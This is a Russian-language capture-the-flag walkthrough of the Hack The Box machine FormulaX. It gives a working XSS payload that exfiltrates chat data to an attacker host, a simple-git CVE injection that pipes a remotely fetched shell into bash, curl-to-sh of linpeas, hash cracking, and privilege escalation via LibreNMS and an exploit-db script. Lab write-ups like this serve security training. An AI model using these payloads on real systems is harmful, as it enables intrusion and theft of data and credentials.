Автор: @FaLLenSkiLL
Ссылка на тачку HTB:
https://app.hackthebox.com/machines/FormulaX
Разведка
Сканим порты. Видим только SSH и вебчик
nmap 10.10.11.6 -p 22,80 -sC -sV
Заходим на 80 порт
Пробуем зарегистрироваться
Видим жалкую пародию неповторимый оригинал ChatGPT
Пробуем найти какие-нибудь директории
gobuster dir -u http://10.10.11.6/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -c "authorization=Bearer%20TOKEN"
Из интересного видим только форму отправки сообщений админу
Get www-data
Проверяем наличие XSS
XSS присутствует, ура
Пишем payload
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
socket.on('message', (my_message) => {
fetch("http://10.10.XX.XX:4444/?d=" + btoa(my_message))
});
socket.emit('client_message', 'history');
});
Запускаем php сервер, с которого можно будет скачать наш payload
Эксплуатируем XSS
Декодируем полученный base64
Добавляем домен в /etc/hosts
клац
echo "10.10.11.6 chatbot.htb" | sudo tee -a /etc/hosts
клац
echo "10.10.11.6 dev.git.auto.update.chatbot.htb" | sudo tee -a /etc/hosts
Заходим на новый поддомен
В коде страницы видно, что это simple-git v3.14
На который, кстати, есть CVE
Эксплуатируем CVE
ext::sh -c curl% http://10.10.XX.XX:8001/shell|bash
Получаем shell www-data
User flag
Я сначала по базе запустил linpeas.sh
sudo python3 -m http.server 8000 #Host
curl 10.10.XX.XX:8000/linpeas.sh | sh #Victim
Таким образом можно узнать, что на хосте запущена mongo db
mongo --shell
Немного покопавшись в бдшке, получаем хэш пользователя frank_dorky
Брутим хэш
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
Получаем пароль
Заходим на учетку по ssh
Root flag
Проверим активные порты
3000 порт выглядит подозрительно. Пробросим его себе на тачку
ssh -L 3000:127.0.0.1:3000 [email protected]
Видим LibreNMS
Переходим в /opt/librenms и создаем нового пользователя
Попадаем в панель управления
Чтобы мы могли создавать свои шаблоны, нужно пофиксить ошибку в Webserver
Для этого делаем еще одну запись в /etc/hosts
Клац
echo "127.0.0.1 librenms.com" | sudo tee -a /etc/hosts
Заходим на сайт по доменному имени
Ошибок нет, теперь можем создавать шаблоны
Пихаем shell
В файле .env находим креды от пользователя kai_relay
Подключаемся по ssh
ssh [email protected]
Воспользуемся общедоступным эксплоитом
https://www.exploit-db.com/exploits/46544
Создаем файл /tmp/shell.sh с шеллом
Не забываем сделать его исполняемым
chmod +x /tmp/shell.sh
Запускаем http сервер, с которого можно будет скачать наш shell
После этого на захваченной тачке создаем exploit.py, который мы взяли с exploit-db и запускаем его, с указанием цели
Получаем шелл
Лутаем root флаг
cd /root
cat root.txt
Tags: